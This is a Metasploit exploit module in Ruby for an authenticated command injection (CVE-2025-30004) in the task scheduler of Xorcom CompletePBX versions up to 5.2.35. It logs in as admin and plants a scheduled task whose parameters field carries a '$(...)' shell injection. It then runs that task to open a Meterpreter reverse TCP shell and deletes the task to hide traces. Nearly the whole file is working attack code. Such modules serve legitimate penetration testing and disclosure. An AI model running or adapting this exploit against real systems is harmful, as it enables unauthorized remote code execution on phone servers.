Xorcom CompletePBX Authenticated Command Injection via Task Scheduler

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::CompletePBX
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xorcom CompletePBX Authenticated Command Injection via Task Scheduler',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerability in Xorcom CompletePBX
          versions <= 5.2.35. The issue resides in the task scheduler functionality, where user-controlled
          input is improperly sanitized, allowing arbitrary command execution with web server privileges.

          Only the superadmin user (admin) has the necessary permissions to trigger this exploit.
          Even when creating a new user with maximum privileges, the vulnerability does not work.
        },
        'Author' => [
          'Valentin Lobstein' # Research and module development
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-30004'],
          ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'],
          ['URL', 'https://chocapikk.com/posts/2025/completepbx/']
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-03-02',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Valid CompletePBX username', 'admin']),
      OptString.new('PASSWORD', [true, 'Valid CompletePBX password']),
    ])
  end

  def check
    completepbx?
  end

  def get_latest_task_id(sid_cookie, task_desc)
    print_status("Retrieving latest task ID for description: #{task_desc}...")

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'vars_get' => {
        'class' => 'scheduler',
        'method' => 'tasks',
        'offset' => '0',
        'max' => '20'
      },
      'cookie' => sid_cookie
    )
    fail_with(Failure::Unreachable, 'No response from target while fetching tasks') unless res

    json = res.get_json_document
    fail_with(Failure::UnexpectedReply, 'Invalid JSON structure') unless json.is_a?(Hash)

    rows = json.fetch('rows', nil)
    fail_with(Failure::UnexpectedReply, 'Missing task list in response') unless rows.is_a?(Array)

    row = rows.find { |r| r.is_a?(Array) && r[2].to_s == task_desc }
    fail_with(Failure::NotFound, "Task '#{task_desc}' not found") unless row

    task_id = row[0]
    print_good("Found task with ID: #{task_id}")
    task_id
  end

  def create_task(sid_cookie)
    task_desc = Faker::Lorem.sentence(word_count: 4)
    notes = Faker::Lorem.paragraph(sentence_count: 3)
    print_status("Creating malicious scheduled task with description: #{task_desc}")

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'cookie' => sid_cookie,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'script' => 'backup',
        'description' => task_desc,
        'starting' => Time.now.strftime('%Y-%m-%d %H:%M'),
        'interval' => '1',
        'interval_unit' => 'month',
        'parameters' => "$(#{payload.encoded})",
        'notes' => notes,
        'data' => '0',
        'class' => 'scheduler',
        'method' => 'save_task',
        'mode' => 'create'
      }
    )
    fail_with(Failure::Unreachable, 'No response from target while creating task') unless res

    json_res = res.get_json_document || fail_with(Failure::UnexpectedReply, 'Invalid JSON response')
    state = json_res.fetch('state') { fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') }

    print_good('Malicious task successfully created.') and return task_desc if state == 'success'

    fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task')
  end

  def run_task(sid_cookie, task_id)
    print_status("Executing malicious task ID #{task_id}...")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'cookie' => sid_cookie,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'class' => 'scheduler',
        'method' => 'run_task',
        'mode' => 'run',
        'data' => task_id.to_s
      }
    })

    unless res
      fail_with(Failure::Unreachable, 'No response from target while executing task')
    end

    print_good('Task executed successfully!')
  end

  def delete_task(sid_cookie, task_id)
    %w[delete deleteConfirmed].each do |mode|
      print_status("Sending delete request (mode=#{mode}) for task ID #{task_id}...")

      send_request_cgi({
        'uri' => normalize_uri(target_uri.path),
        'method' => 'POST',
        'cookie' => sid_cookie,
        'ctype' => 'application/x-www-form-urlencoded',
        'vars_post' => {
          'class' => 'scheduler',
          'method' => 'delete_task',
          'mode' => mode,
          'data' => task_id.to_s
        }
      })
    end

    print_good("Task #{task_id} deleted successfully!")
  end

  def exploit
    sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
    task_desc = create_task(sid_cookie)
    task_id = get_latest_task_id(sid_cookie, task_desc)
    run_task(sid_cookie, task_id)
  ensure
    delete_task(sid_cookie, task_id) if task_id
  end
end